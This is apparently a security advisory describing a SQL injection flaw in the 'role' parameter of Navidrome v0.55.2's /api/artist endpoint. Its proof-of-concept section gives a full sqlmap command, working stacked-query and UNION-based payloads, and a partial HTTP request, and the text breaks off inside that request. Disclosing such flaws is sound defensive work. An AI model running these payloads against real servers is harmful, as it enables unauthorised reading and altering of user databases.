## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**
### **Overview**
This vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.
---
### **Details**
* **Vulnerable Component**:
API endpoint → `/api/artist`
Parameter → `role`
* **Vulnerability Type**:
SQL Injection (stacked queries, UNION queries)
* **Database Affected**:
SQLite (confirmed exploitation via SQLite-specific payloads)
* **Impact**:
Successful exploitation allows an unauthenticated attacker to:
* Execute arbitrary SQL commands
* Extract or manipulate sensitive data (e.g., user records, playlists)
* Potentially escalate privileges or disrupt service availability
---
### **Proof of Concept (PoC)**
**Example Exploit Command**:
```bash
sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite
```
**Sample Payloads**:
* **Stacked Queries**:
```
http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--
```
* **UNION-Based Query**:
```
http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny
```
**Example HTTP Request**:
```http
GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
